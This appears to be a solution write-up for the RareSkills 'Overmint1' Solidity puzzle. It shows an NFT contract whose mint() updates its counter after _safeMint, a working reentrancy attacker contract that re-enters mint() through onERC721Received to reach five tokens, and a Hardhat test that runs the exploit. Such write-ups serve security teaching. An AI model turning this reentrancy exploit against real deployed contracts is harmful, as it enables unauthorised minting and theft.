Published on

RareSkills Solidity Riddles - Overmint 1 - Solution

Authors

RareSkills Riddles - Overmint 1 - Solution

Contract

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract Overmint1 is ERC721 {
    using Address for address;
    mapping(address => uint256) public amountMinted;
    uint256 public totalSupply;

    constructor() ERC721("Overmint1", "AT") {}

    function mint() external {
        require(amountMinted[msg.sender] <= 3, "max 3 NFTs");
        totalSupply++;
        _safeMint(msg.sender, totalSupply);
        amountMinted[msg.sender]++;
    }

    function success(address _attacker) external view returns (bool) {
        return balanceOf(_attacker) == 5;
    }
}

Exploit

The goal of this challenge is to mint 5 tokens in a single transaction.

We can achieve this by performing a reentrancy attack, exploiting the fact that mint does not follow the checks-effects-interactions pattern since _safeMint calls onERC721Received on the receiving contract before updating amountMinted.

Here's an example of an attacker contract we can use:

Overmint1Attacker.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./Overmint1.sol";

contract Overmint1Attacker is IERC721Receiver {
    Overmint1 public overmint1;

    constructor(address _overmint1Address) {
        overmint1 = Overmint1(_overmint1Address);
    }

    function attack() public {
        overmint1.mint();
        for (uint256 i = 1; i < 6; i++) {
            overmint1.transferFrom(address(this), msg.sender, i);
        }
    }

    // This function is called by the Overmint1 contract during _safeMint
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        override
        returns (bytes4)
    {
        // Check the number of tokens minted, and if it's less than 5, mint again
        if (overmint1.balanceOf(address(this)) < 5) {
            overmint1.mint();
        }
        return this.onERC721Received.selector;
    }
}

Overmint1.js

const { time, loadFixture } = require('@nomicfoundation/hardhat-network-helpers')
const { anyValue } = require('@nomicfoundation/hardhat-chai-matchers/withArgs')
const { expect } = require('chai')
const { ethers } = require('hardhat')

const NAME = 'Overmint1'

describe(NAME, function () {
  async function setup() {
    const [owner, attackerWallet] = await ethers.getSigners()

    const VictimFactory = await ethers.getContractFactory(NAME)
    const victimContract = await VictimFactory.deploy()

    return { victimContract, attackerWallet }
  }

  describe('exploit', async function () {
    let victimContract, attackerWallet
    before(async function () {
      ;({ victimContract, attackerWallet } = await loadFixture(setup))
    })

    it('conduct your attack here', async function () {
      const AttackerFactory = await ethers.getContractFactory('Overmint1Attacker')
      const attackerContract = await AttackerFactory.connect(attackerWallet).deploy(
        victimContract.address
      )
      await attackerContract.connect(attackerWallet).attack()
    })

    after(async function () {
      expect(await victimContract.balanceOf(attackerWallet.address)).to.be.equal(5)
      expect(await ethers.provider.getTransactionCount(attackerWallet.address)).to.lessThan(
        3,
        'must exploit in two transactions or less'
      )
    })
  })
})